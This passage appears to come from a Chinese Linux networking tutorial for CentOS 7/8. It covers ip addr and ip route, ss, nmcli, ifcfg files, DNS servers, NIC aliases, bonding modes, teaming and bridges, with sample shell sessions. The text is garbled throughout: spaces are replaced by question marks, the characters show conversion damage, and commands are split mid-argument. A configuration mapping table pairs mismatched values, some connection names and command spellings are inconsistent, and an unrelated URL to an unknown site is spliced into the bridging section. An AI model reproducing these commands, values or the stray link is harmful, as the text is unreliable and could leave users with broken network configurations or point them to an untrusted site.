???valid_lft forever preferred_lft forever
。。。。

[root@centos8 ~]#ip addr add 10.0.0.18/24 dev eth0
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
?inet6 ::1/128 scope host
。。。。
[root@centos8 ~]#ip addr add 10.0.0.18/24 dev eth0
RTNETLINK answers: File exists
#
[root@centos8 ~]#ip addr change 10.0.0.18/24 dev eth0 preferred_lft 30 valid_lft
6
preferred_lft is greater than valid_lft
[root@centos8 ~]#ip addr change 10.0.0.18/24 dev eth0 preferred_lft 3 valid_lft
10
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
?inet6 ::1/128 scope host
???valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
?link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
?inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
???valid_lft forever preferred_lft forever
?inet 10.0.0.18/24 scope global secondary dynamic eth0
???valid_lft 7sec preferred_lft 0sec
?inet6 fe80::20c:29ff:fe8a:5121/64 scope link
???valid_lft forever preferred_lft forever


#過10s后地址消失
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
?inet6 ::1/128 scope host
???valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
?link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
?inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
???valid_lft forever preferred_lft forever
?inet6 fe80::20c:29ff:fe8a:5121/64 scope link
???valid_lft forever preferred_lft forever

[root@centos8 ~]#ip addr change 10.0.0.18/24 dev eth0 preferred_lft 10 valid_lft
20


[root@centos8 ~]#ip addr change 10.0.0.18/24 dev eth0 preferred_lft 20 valid_lft
40
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
?inet6 ::1/128 scope host
???valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
?link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
?inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
???valid_lft forever preferred_lft forever
?inet 10.0.0.18/24 scope global secondary dynamic eth0
???valid_lft 39sec preferred_lft 19sec
?inet6 fe80::20c:29ff:fe8a:5121/64 scope link
???valid_lft forever preferred_lft forever


#replace 代替現(xiàn)有地址信息
[root@centos8 ~]#ip addr replace 10.0.0.18/24 dev eth0 preferred_lft 30 valid_lft
60
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
?inet6 ::1/128 scope host
???valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
?link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
....


#replace 也可實(shí)現(xiàn)新加IP
[root@centos8 ~]#ip addr replace 10.0.0.28/24 dev eth0 preferred_lft 30 valid_lft
60
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
?inet6 ::1/128 scope host
???valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
?link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
?inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
???valid_lft forever preferred_lft forever
?inet 10.0.0.28/24 scope global secondary dynamic eth0
....

4.3.8.2 管理路由

#ip route 用法
#添加路由:
ip route add TARGET via GW dev IFACE src SOURCE_IP
TARGET:
主機(jī)路由:IP
網(wǎng)絡(luò)路由:NETWORK/MASK
#添加網(wǎng)關(guān):
ip route add default via GW dev IFACE
#刪除路由:
ip route del TARGET
#顯示路由:
ip route show|list
#清空路由表:
ip route flush [dev IFACE] [via PREFIX]


#例:
ip route add 192.168.0.0/24 via 172.16.0.1
ip route add 192.168.1.100 via 172.16.0.1
ip route add default via 172.16.0.1
ip route flush dev eth0


#例: 查看路由過程
[root@centos8 ~]#ip route get 10.0.0.7
10.0.0.7 dev eth0 src 10.0.0.8 uid 0
?cache
[root@centos8 ~]#ip route get 8.8.8.8
8.8.8.8 via 10.0.0.2 dev eth0 src 10.0.0.8 uid 0
?cache

4.3.9 ss 命令

來自于iproute包,代替netstat,netstat 通過遍歷 /proc來獲取 socket信息,ss 使用 netlink與內(nèi)核
tcp_diag 模塊通信獲取 socket 信息

#格式:
ss [OPTION]... [FILTER]


#常用選項(xiàng):
-t: tcp協(xié)議相關(guān)
-u: udp協(xié)議相關(guān)
-w: 裸套接字相關(guān)
-x:unix sock相關(guān)
-l: listen狀態(tài)的連接
-a: 所有
-n: 數(shù)字格式
-p: 相關(guān)的程序及PID
-e: 擴(kuò)展的信息
-m:內(nèi)存用量
-o:計(jì)時(shí)器信息


#格式說明
FILTER : [ state TCP-STATE ] [ EXPRESSION ]
TCP的常見狀態(tài):
    tcp finite state machine:
        LISTEN: 監(jiān)聽
        ESTABLISHED:已建立的連接
        FIN_WAIT_1
        FIN_WAIT_2
        SYN_SENT
        SYN_RECV
        CLOSED
EXPRESSION:
    dport =
    sport =


#常用組合:
-tan, -tanl, -tanlp, -uan


#例:常見用法
#顯示本地打開的所有端口
ss -l

#顯示每個(gè)進(jìn)程具體打開的socket
ss -pl

#顯示所有tcp socket
ss -t -a

#顯示所有的UDP Socekt
ss -u -a

#顯示所有已建立的ssh連接
ss -o state established '( dport = :ssh or sport = :ssh )'

#顯示所有已建立的HTTP連接
ss -o state established '( dport = :http or sport = :http )'
[root@centos8 ~]#ss -no state established '( dport = :21 or sport = :21 )'
Netid ???????Recv-Q ???????Send-Q ???????????????
?Local Address:Port ?????????????????Peer Address:Port ??
????
tcp ????????0 ??????????0 ?????????????????
[::ffff:10.0.0.8]:21 ????????????????[::ffff:10.0.0.7]:46638 ?
??????timer:(keepalive,119min,0)


#列出當(dāng)前socket詳細(xì)信息
[root@centos8 ~]#ss -s
Total: 228
TCP: ?5 (estab 1, closed 0, orphaned 0, timewait 0)
Transport Total ??IP ???IPv6
RAW ???0 ????0 ????0 ???
UDP ???2 ????1 ????1 ???
TCP ???5 ????3 ????2 ???
INET ?7 ????4 ????3 ???
FRAG ?0 ????0 ????0 ?

4.3.10 網(wǎng)絡(luò)配置工具 nmcli

#圖形工具:nm-connection-editor

#字符配置 tui工具:
    nmtui
    nmtui-connect
    nmtui-edit
    nmtui-hostname


命令行工具:nmcli
以上工具都依賴NetworkManager服務(wù),此服務(wù)是管理和監(jiān)控網(wǎng)絡(luò)設(shè)置的守護(hù)進(jìn)程

#nmcli命令
#nmcli命令相關(guān)術(shù)語
#設(shè)備即網(wǎng)絡(luò)接口
#連接是對網(wǎng)絡(luò)接口的配置,一個(gè)網(wǎng)絡(luò)接口可有多個(gè)連接配置,但同時(shí)只有一個(gè)連接配置生效

#格式:
nmcli [ OPTIONS ] OBJECT { COMMAND | help }
device - show and manage network interfaces
nmcli device help
connection - start, stop, and manage network connections
nmcli connection help


#修改IP地址等屬性:
nmcli connection modify IFACE [+|-]setting.property value
setting.property: ipv4.addresses ipv4.gateway ipv4.dns1 ipv4.method manual |
auto


#修改配置文件執(zhí)行生效:
nmcli con reload
nmcli con up con-name



#對照表:
nmcli con mod                                      ifcfg**-*** 文件
ipv4.method manual                                     BOOTPROTO=none
ipv4.method auto                                       BOOTPROTO=dhcp
ipv4.addresses 192.168.2.1/24                          IPADDR=192.168.2.1 PREFIX=24
ipv4.gateway 172.16.0.200                              GATEWAY=192.0.2.254
ipv4.dns 8.8.8.8                                       DNS0=8.8.8.8
ipv4.dns-search example.com                            DOMAIN=example.com
ipv4.ignore-auto-dns true                              PEERDNS=no
connection.autoconnect yes                             ONBOOT=yes
connection.id eth0                                     NAME=eth0
connection.interface-name eth0                         DEVICE=eth0
802-3-ethernet.mac-address . . .                       HWADDR= . . .




#常用命令集合:
#查看幫助
nmcli con add help

#使用nmcli配置網(wǎng)絡(luò)
nmcli con show

#顯示所有活動(dòng)連接
nmcli con show --active

#顯示網(wǎng)絡(luò)連接配置
nmcli con show ?"System eth0“

#顯示設(shè)備狀態(tài)
nmcli dev status

#顯示網(wǎng)絡(luò)接口屬性
nmcli dev show eth0

#創(chuàng)建新連接default,IP自動(dòng)通過dhcp獲取
nmcli con add con-name default type Ethernet ifname eth0

#刪除連接
nmcli con del default

#創(chuàng)建新連接static ,指定靜態(tài)IP,不自動(dòng)連接
nmcli con add con-name static ?ifname eth0 autoconnect no type Ethernet
ipv4.addresses 172.25.X.10/24 ipv4.gateway ?172.25.X.254

#啟用static連接配置
nmcli con up static

#啟用default連接配置
nmcli con up default

#修改連接設(shè)置
nmcli con mod “static” connection.autoconnect no
nmcli con mod “static” ipv4.dns 172.25.X.254
nmcli con mod “static” ?+ipv4.dns ?8.8.8.8
nmcli con mod “static” ?-ipv4.dns ?8.8.8.8
nmcli con mod “static” ipv4.addresses “172.16.X.10/24 ?172.16.X.254”
nmcli con mod “static” ?+ipv4.addresses 10.10.10.10/16

#DNS設(shè)置存放在/etc/resolv.conf,PEERDNS=no 表示當(dāng)IP通過dhcp自動(dòng)獲取時(shí),dns仍是手動(dòng)設(shè)置,
不自動(dòng)獲取等價(jià)于下面命令
nmcli con mod “system eth0” ipv4.ignore-auto-dns yes
nmcli con up default

4.4 網(wǎng)絡(luò)配置文件

4.4.1 網(wǎng)絡(luò)基本配置文件

#IP、MASK、GW、DNS相關(guān)的配置文件:
/etc/sysconfig/network-scripts/ifcfg-IFACE


#說明參考:
/usr/share/doc/initcripts-*/sysconfig.txt


#常用配置
設(shè)置                 說明
TYPE         接口類型;常見有的Ethernet, Bridge
NAME         此配置文件應(yīng)用到的設(shè)備
DEVICE       設(shè)備名
HWADDR       對應(yīng)的設(shè)備的MAC地址
UUID         設(shè)備的惟一標(biāo)識(shí)
BOOTPROTO    激活此設(shè)備時(shí)使用的地址配置協(xié)議,常用的dhcp, static, none, bootp
IPADDR       指明IP地址
NETMASK      子網(wǎng)掩碼,如:255.255.255.0
PREFIX       網(wǎng)絡(luò)ID的位數(shù), 如:24
GATEWAY      默認(rèn)網(wǎng)關(guān)
DNS1         第一個(gè)DNS服務(wù)器地址
DNS2         第二個(gè)DNS服務(wù)器地址
DOMAIN       主機(jī)不完整時(shí),自動(dòng)搜索的域名后綴
ONBOOT       在系統(tǒng)引導(dǎo)時(shí)是否激活此設(shè)備
USERCTL      普通用戶是否可控制此設(shè)備
PEERDNS      如果BOOTPROTO的值為“dhcp”,YES將允許dhcp server分配的dns服務(wù)
              器信息直接覆蓋至/etc/resolv.conf文件,NO不允許修改resolv.conf
NM_CONTROLLED  NM是NetworkManager的簡寫,此網(wǎng)卡是否接受NM控制

4.4.2 配置當(dāng)前主機(jī)的主機(jī)名

#CentOS 6 之前版本
/etc/sysconfig/network
HOSTNAME=


#centos7 以后版配置文件:
/etc/hostname
默認(rèn)沒有此文件,通過DNS反向解析獲取主機(jī)名,主機(jī)名默認(rèn)為:localhost.localdomain
刪除文件/etc/hostname,恢復(fù)主機(jī)名localhost.localdomain

4.4.3 本地主機(jī)名數(shù)據(jù)庫和IP地址的映射

#優(yōu)先于使用DNS前檢查
getent hosts 查看/etc/hosts 內(nèi)容
/etc/hosts

4.4.4 DNS域名解析

/etc/resolv.conf
nameserver DNS_SERVER_IP1
nameserver DNS_SERVER_IP2
nameserver DNS_SERVER_IP3
search DOMAIN

#常見公共DNS
180.76.76.76 百度
223.5.5.5 阿里
223.6.6.6 阿里
119.29.29.29 騰訊
119.28.28.28 騰訊
114.114.114.114 電信
114.114.115.115 電信
1.2.4.8 CNNIC
210.2.4.8 CNNIC
240c::6666 CNNIC
240c::6644 CNNIC
80.80.80.80 Freenom World
80.80.81.81 Freenom World
8.8.8.8 Google
8.8.4.4 Google
1.1.1.1 Cloudflare
117.50.11.11 ?OneDNS
117.50.22.22 ?OneDNS
52.80.66.66 OneDNS
117.50.10.10 OneDNS ?
52.80.52.52 OneDNS

4.4.5 修改 /etc/hosts和DNS的優(yōu)先級(jí)

/etc/nsswitch.conf
hosts: files dns

4.4.6 路由相關(guān)的配置文件

#/etc/sysconfig/network-scripts/route-IFACE

#兩種風(fēng)格:
(1) TARGET via GW
如:10.0.0.0/8 via 172.16.0.1

(2) 每三行定義一條路由
ADDRESS#=TARGET
NETMASK#=mask
GATEWAY#=GW


#例: CentOS7 創(chuàng)建/etc/sysconfig/static-routes文件添加持久靜態(tài)路由
#查看network腳本調(diào)用路由文件
[root@centos7 ~]#grep -A 3 "/etc/sysconfig/static-routes" /etc/init.d/network 
??if [ -f /etc/sysconfig/static-routes ]; then
????if [ -x /sbin/route ]; then
??????grep "^any" /etc/sysconfig/static-routes | while read ignore args ;
do
???????/sbin/route add -$args
??????done
????else
#查看當(dāng)前路由

[root@centos7 ~]#route -n
Kernel IP routing table
Destination ??Gateway ????Genmask ????Flags Metric Ref ?Use Iface
0.0.0.0 ????10.0.0.2 ????0.0.0.0 ????UG ??100 ??0 ????0 eth0
10.0.0.0 ????0.0.0.0 ????255.255.255.0 ?U ??100 ??0 ????0 eth0

#創(chuàng)建文件
[root@centos7 ~]#vim /etc/sysconfig/static-routes
[root@centos7 ~]#cat /etc/sysconfig/static-routes
any net 192.168.1.0/24 gw 10.0.0.254
any net 192.168.2.0/24 gw 10.0.0.254
[root@centos7 ~]#systemctl restart network

#確認(rèn)路由生效
[root@centos7 ~]#route -n
Kernel IP routing table
Destination ??Gateway ????Genmask ????Flags Metric Ref ?Use Iface
0.0.0.0 ????10.0.0.2 ????0.0.0.0 ????UG ??100 ??0 ????0 eth0
10.0.0.0 ????0.0.0.0 ????255.255.255.0 ?U ??100 ??0 ????0 eth0
192.168.1.0 ??10.0.0.254 ???255.255.255.0 ?UG ??0 ???0 ????0 eth0
192.168.2.0 ??10.0.0.254 ???255.255.255.0 ?UG ??0 ???0 ????0 eth0

4.5 網(wǎng)卡別名

將多個(gè)IP地址綁定到一個(gè)NIC上
每個(gè)IP綁定到獨(dú)立邏輯網(wǎng)卡,即網(wǎng)絡(luò)別名,命名格式: ethX:Y,如:eth0:1 、eth0:2、eth0:3

#例:ifconfig 命令
ifconfig eth0:0 192.168.1.100/24 up
ifconfig eth0:0 down


#例:ip 命令
ip addr add 172.16.1.1/16 dev eth0
ip addr add 172.16.1.2/16 dev eth0 label eth0:0
ip addr del 172.16.1.2/16 dev eth0 label eth0:0
ip addr flush dev eth0 label eth0:0


#為每個(gè)設(shè)備別名生成獨(dú)立的接口配置文件,格式為:ifcfg-ethX:xxx
#例: 給 lo 網(wǎng)卡加別名(此方式不適用于CentOS8)
[root@centos7 network-scripts]#pwd
/etc/sysconfig/network-scripts
[root@centos7 network-scripts]#cat ifcfg-lo:1
DEVICE=lo:1
IPADDR=137.0.0.1
NETMASK=255.0.0.0
NETWORK=137.0.0.0
# If you're having problems with gated making 127.0.0.0/8 a martian,
# you can change this to something else (255.255.255.255, for example)
BROADCAST=137.255.255.255
ONBOOT=yes
NAME=loopback1
[root@centos7 network-scripts]#ip addr show lo
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
?inet 137.0.0.1/8 brd 137.255.255.255 scope global lo:1
???valid_lft forever preferred_lft forever
?inet6 ::1/128 scope host
???valid_lft forever preferred_lft forever


#例:
[root@centos8 ~]#cat /etc/sysconfig/network-scripts/ifcfg-eth0:1
DEVICE=eth0:1
IPADDR=10.0.0.100
PREFIX=8
[root@centos8 ~]#ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 10.0.0.8 netmask 255.255.255.0 broadcast 10.0.0.255
???inet6 fe80::20c:29ff:fe09:f5b prefixlen 64 scopeid 0x20<link>
???ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)
???RX packets 2320 bytes 200266 (195.5 KiB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 1891 bytes 279736 (273.1 KiB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 10.0.0.100 netmask 255.0.0.0 broadcast 10.255.255.255
???ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)


#注意:
建議 CentOS 6 關(guān)閉 NetworkManager 服務(wù)
網(wǎng)卡別名必須使用靜態(tài)地址

4.6 多網(wǎng)卡 bonding

將多塊網(wǎng)卡綁定同一IP地址對外提供服務(wù),可以實(shí)現(xiàn)高可用或者負(fù)載均衡。直接給兩塊網(wǎng)卡設(shè)置同一IP地址是不可以的。通過 bonding,虛擬一塊網(wǎng)卡對外提供連接,物理網(wǎng)卡的被修改為相同的MAC地址

4.6.1 Bonding 聚合鏈路工作模式

bond聚合鏈路模式共7種模式:0-6 Mode

mod=0 ,即:(balance-rr) Round-robin policy(輪詢)聚合口數(shù)據(jù)報(bào)文按包輪詢從物理接口轉(zhuǎn)
發(fā)。

負(fù)載均衡—所有鏈路處于負(fù)載均衡狀態(tài),輪詢方式往每條鏈路發(fā)送報(bào)文這模式的特點(diǎn)增加了帶寬,
同時(shí)支持容錯(cuò)能力,當(dāng)有鏈路出問題,會(huì)把流量切換到正常的鏈路上。
性能問題—一個(gè)連接或者會(huì)話的數(shù)據(jù)包如果從不同的接口發(fā)出的話,中途再經(jīng)過不同的鏈路,在客
戶端很有可能會(huì)出現(xiàn)數(shù)據(jù)包無序到達(dá)的問題,而無序到達(dá)的數(shù)據(jù)包需要重新要求被發(fā)送,這樣網(wǎng)絡(luò)
的吞吐量就會(huì)下降。Bond0在大壓力的網(wǎng)絡(luò)傳輸下,性能增長的并不是很理想。
需要交換機(jī)進(jìn)行端口綁定

mod=1,即: (active-backup) Active-backup policy(主-備份策略)只有Active狀態(tài)的物理接口
才轉(zhuǎn)發(fā)數(shù)據(jù)報(bào)文。
容錯(cuò)能力—只有一個(gè)slave是激活的(active)。也就是說同一時(shí)刻只有一個(gè)網(wǎng)卡處于工作狀態(tài),其他
的slave都處于備份狀態(tài),只有在當(dāng)前激活的slave故障后才有可能會(huì)變?yōu)榧せ畹?active)。
無負(fù)載均衡—此算法的優(yōu)點(diǎn)是可以提供高網(wǎng)絡(luò)連接的可用性,但是它的資源利用率較低,只有一個(gè)
接口處于工作狀態(tài),在有 N 個(gè)網(wǎng)絡(luò)接口的情況下,資源利用率為1/N。

mod=2,即:(balance-xor) XOR policy(平衡策略)聚合口數(shù)據(jù)報(bào)文按源目MAC、源目IP、源目
端口進(jìn)行異或HASH運(yùn)算得到一個(gè)值,根據(jù)該值查找接口轉(zhuǎn)發(fā)數(shù)據(jù)報(bào)文
負(fù)載均衡—基于指定的傳輸HASH策略傳輸數(shù)據(jù)包。
容錯(cuò)能力—這模式的特點(diǎn)增加了帶寬,同時(shí)支持容錯(cuò)能力,當(dāng)有鏈路出問題,會(huì)把流量切換到正常
的鏈路上。
性能問題—該模式將限定流量,以保證到達(dá)特定對端的流量總是從同一個(gè)接口上發(fā)出。既然目的地
是通過MAC地址來決定的,因此該模式在“本地”網(wǎng)絡(luò)配置下可以工作得很好。如果所有流量是通過
單個(gè)路由器,由于只有一個(gè)網(wǎng)關(guān),源和目標(biāo)mac都固定了,那么這個(gè)算法算出的線路就一直是同一
條,那么這種模式就沒有多少意義了。
需要交換機(jī)配置為port channel

mod=3,即:broadcast(廣播策略)這種模式的特點(diǎn)是一個(gè)報(bào)文會(huì)復(fù)制兩份往bond下的兩個(gè)接
口分別發(fā)送出去,
當(dāng)有對端交換機(jī)失效,感覺不到任何downtime,但此法過于浪費(fèi)資源;不過這種模式有很好的容
錯(cuò)機(jī)制。此模式適用于金融行業(yè),因?yàn)樗麄冃枰呖煽啃缘木W(wǎng)絡(luò),不允許出現(xiàn)任何問題。

mod=4,即:(802.3ad) IEEE 802.3ad Dynamic link aggregation(IEEE 802.3ad 動(dòng)態(tài)鏈接聚合)
在動(dòng)態(tài)聚合模式下,聚合組內(nèi)的成員端口上均啟用LACP(鏈路匯聚控制協(xié)議)協(xié)議,其端口狀態(tài)
通過該協(xié)議自動(dòng)進(jìn)行維護(hù)。
負(fù)載均衡—基于指定的傳輸HASH策略傳輸數(shù)據(jù)包。默認(rèn)算法與blance-xor一樣。
容錯(cuò)能力—這模式的特點(diǎn)增加了帶寬,同時(shí)支持容錯(cuò)能力,當(dāng)有鏈路出問題,會(huì)把流量切換到正常
的鏈路上。對比blance-xor,這種模式定期發(fā)送LACPDU報(bào)文維護(hù)鏈路聚合狀態(tài),保證鏈路質(zhì)量。
需要交換機(jī)支持LACP協(xié)議.

mod=5,即:(balance-tlb) Adaptive transmit load balancing(適配器傳輸負(fù)載均衡)
在每個(gè)物理接口上根據(jù)當(dāng)前的負(fù)載(根據(jù)速度計(jì)算)分配外出流量。如果正在接收數(shù)據(jù)的物理接口
口出故障了,另一個(gè)物理接口接管該故障物理口的MAC地址。
需要ethtool支持獲取每個(gè)slave的速率

mod=6,即:(balance-alb) Adaptive load balancing(適配器適應(yīng)性負(fù)載均衡)

該模式包含了balance-tlb模式,同時(shí)加上針對IPV4流量的接收負(fù)載均衡,而且不需要任何
switch(交換機(jī))的支持。接收負(fù)載均衡是通過ARP協(xié)商實(shí)現(xiàn)的。bonding驅(qū)動(dòng)截獲本機(jī)發(fā)送的ARP應(yīng)
答,并把源硬件地址改寫為bond中某個(gè)物理接口的唯一硬件地址,從而使得不同的對端使用不同
的硬件地址進(jìn)行通信。
mod=6與mod=0的區(qū)別:mod=6,先把eth0流量占滿,再占eth1,….ethX;而mod=0的話,會(huì)
發(fā)現(xiàn)2個(gè)口的流量都很穩(wěn)定,基本一樣的帶寬。而mod=6,會(huì)發(fā)現(xiàn)第一個(gè)口流量很高,第2個(gè)口只
占了小部分流量

常用的模式為 0,1,3,6
mode 1、5、6 不需要交換機(jī)設(shè)置
mode 0、2、3、4需要交換機(jī)設(shè)置
active-backup、balance-tlb 和 balance-alb 模式不需要交換機(jī)的任何特殊配置。其他綁定模式需
要配置交換機(jī)以便整合鏈接。如:Cisco 交換機(jī)需要在模式 0、2 和 3 中使用 EtherChannel,但在模式
4中需要 LACP和 EtherChannel

4.6.2 Bonding 配置

#參考:
/usr/share/doc/kernel-doc-version/Documentation/networking/bonding.txt
https://www.kernel.org/doc/Documentation/networking/bonding.txt


#創(chuàng)建bonding設(shè)備的配置文件
/etc/sysconfig/network-scripts/ifcfg-bond0
NAME=bond0
TYPE=bond
DEVICE=bond0
BOOTPROTO=none
IPADDR=10.0.0.100
PREFIX=8
#miimon指定鏈路監(jiān)測時(shí)間間隔。如果miimon=100,那么系統(tǒng)每100ms 監(jiān)測一次鏈路連接狀態(tài),如果有一
條線路不通就轉(zhuǎn)入另一條線路
BONDING_OPTS="mode=1 miimon=100 fail_over_mac=1"

/etc/sysconfig/network-scripts/ifcfg-eth0
NAME=eth0
DEVICE=eth0
BOOTPROTO=none
MASTER=bond0
SLAVE=yes
ONBOOT=yes


/etc/sysconfig/network-scripts/ifcfg-eth1
NAME=eth1
DEVICE=eth1
BOOTPROTO=none
MASTER=bond0
SLAVE=yes
ONBOOT=yes


#查看bond0狀態(tài):
/proc/net/bonding/bond0


#刪除bond0
ifconfig bond0 down
rmmod bonding

4.6.3 nmcli實(shí)現(xiàn) bonding

#添加bonding接口
nmcli con add type bond con-name mybond0 ifname bond0 mode active-backup
ipv4.method manual ipv4.addresses 10.0.0.100/24

#添加從屬接口
nmcli con add type bond-slave ifname ens7 master bond0
nmcli con add type bond-slave ifname ens3 master bond0

#注:如無為從屬接口提供連接名,則該名稱是接口名稱加類型構(gòu)成

#要啟動(dòng)綁定,則必須首先啟動(dòng)從屬接口
nmcli con up bond-slave-eth0
nmcli con up bond-slave-eth1

#啟動(dòng)綁定
nmcli con up mybond0

4.7 網(wǎng)絡(luò)組 Network Teaming

網(wǎng)絡(luò)組:是將多個(gè)網(wǎng)卡聚合在一起方法,從而實(shí)現(xiàn)冗錯(cuò)和提高吞吐量
網(wǎng)絡(luò)組不同于舊版中bonding技術(shù),提供更好的性能和擴(kuò)展性
網(wǎng)絡(luò)組由內(nèi)核驅(qū)動(dòng)和teamd守護(hù)進(jìn)程實(shí)現(xiàn)

多種方式 runner
????????broadcast
????????roundrobin
????????activebackup
????????loadbalance
????????lacp (implements the 802.3ad Link Aggregation Control Protocol)

網(wǎng)絡(luò)組特點(diǎn)
????????啟動(dòng)網(wǎng)絡(luò)組接口不會(huì)自動(dòng)啟動(dòng)網(wǎng)絡(luò)組中的port接口
????????啟動(dòng)網(wǎng)絡(luò)組接口中的port接口總會(huì)自動(dòng)啟動(dòng)網(wǎng)絡(luò)組接口
????????禁用網(wǎng)絡(luò)組接口會(huì)自動(dòng)禁用網(wǎng)絡(luò)組中的port接口
????????沒有port接口的網(wǎng)絡(luò)組接口可以啟動(dòng)靜態(tài)IP連接
????????啟用DHCP連接時(shí),沒有port接口的網(wǎng)絡(luò)組會(huì)等待port接口的加入

#創(chuàng)建網(wǎng)絡(luò)組接口
nmcli con add type team con-name CNAME ifname INAME [config JSON]

CNAME 連接名
INAME 接口名

JSON 指定runner方式,格式:'{"runner": {"name": "METHOD"}}'
METHOD 可以是broadcast, roundrobin, activebackup, loadbalance, lacp


#創(chuàng)建port接口
nmcli con add type team-slave con-name CNAME ifname INAME master TEAM

CNAME     連接名,連接名若不指定,默認(rèn)為team-slave-IFACE
INAME     網(wǎng)絡(luò)接口名
TEAM     網(wǎng)絡(luò)組接口名

##斷開和啟動(dòng)
nmcli dev dis INAME
nmcli con up CNAME

INAME 設(shè)備名 CNAME 網(wǎng)絡(luò)組接口名或port接口



#網(wǎng)絡(luò)組示例
nmcli con add type team con-name myteam0 ifname team0 config '{"runner": {"name":
"loadbalance"}}' ipv4.addresses 192.168.1.100/24 ipv4.method manual
nmcli con add con-name team0-eth1 type team-slave ifname eth1 master team0
nmcli con add con-name team0-eth2 type team-slave ifname eth2 master team0
nmcli con up myteam0
nmcli con up team0-eth1
nmcli con up team0-eth2


teamdctl team0 state
ping -I team0 192.168.0.254
nmcli dev dis eth1
teamdctl team0 state
nmcli con up team0-port1
nmcli dev dis eth2
teamdctl team0 state
nmcli con up team0-port2
teamdctl team0 state



#管理網(wǎng)絡(luò)組配置文件
/etc/sysconfig/network-scripts/ifcfg-team0
DEVICE=team0
DEVICETYPE=Team
TEAM_CONFIG="{\"runner\": {\"name\": \"broadcast\"}}"
BOOTPROTO=none
IPADDR0=172.16.0.100
PREFIX0=24
NAME=team0
ONBOOT=yes

#管理網(wǎng)絡(luò)組配置文件
/etc/sysconfig/network-scripts/ifcfg-team0-eth1
DEVICE=eth1
DEVICETYPE=TeamPort
TEAM_MASTER=team0
NAME=team0-eth1
ONBOOT=yes


#刪除網(wǎng)絡(luò)組
nmcli connection down team0
teamdctl team0 state
nmcli connection show
nmcli connectioni delete team0-eth0
nmcli connectioni delete team0-eth1
nmcli connection show

4.8 網(wǎng)橋(交換機(jī))

4.8.1 橋接原理

橋接:把一臺(tái)機(jī)器上的若干個(gè)網(wǎng)絡(luò)接口“連接”起來。其結(jié)果是,其中一個(gè)網(wǎng)口收到的報(bào)文會(huì)被復(fù)制給其他網(wǎng)口并發(fā)送出去。以使得網(wǎng)口之間的報(bào)文能夠互相轉(zhuǎn)發(fā)。網(wǎng)橋就是這樣一個(gè)設(shè)備,它有若干個(gè)網(wǎng)口,并且這些網(wǎng)口是橋接起來的。與網(wǎng)橋相連的主機(jī)就能通過交換機(jī)的報(bào)文轉(zhuǎn)發(fā)而互相通信。

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

主機(jī)A發(fā)送的報(bào)文被送到交換機(jī)S1的eth0口,由于eth0與eth1、eth2橋接在一起,故而報(bào)文被復(fù)制到eth1和eth2,并且發(fā)送出去,然后被主機(jī)B和交換機(jī)S2接收到。而S2又會(huì)將報(bào)文轉(zhuǎn)發(fā)給主機(jī)C、D

#CentOS 8 取消brctl 工具,可以用下面方法查看網(wǎng)橋

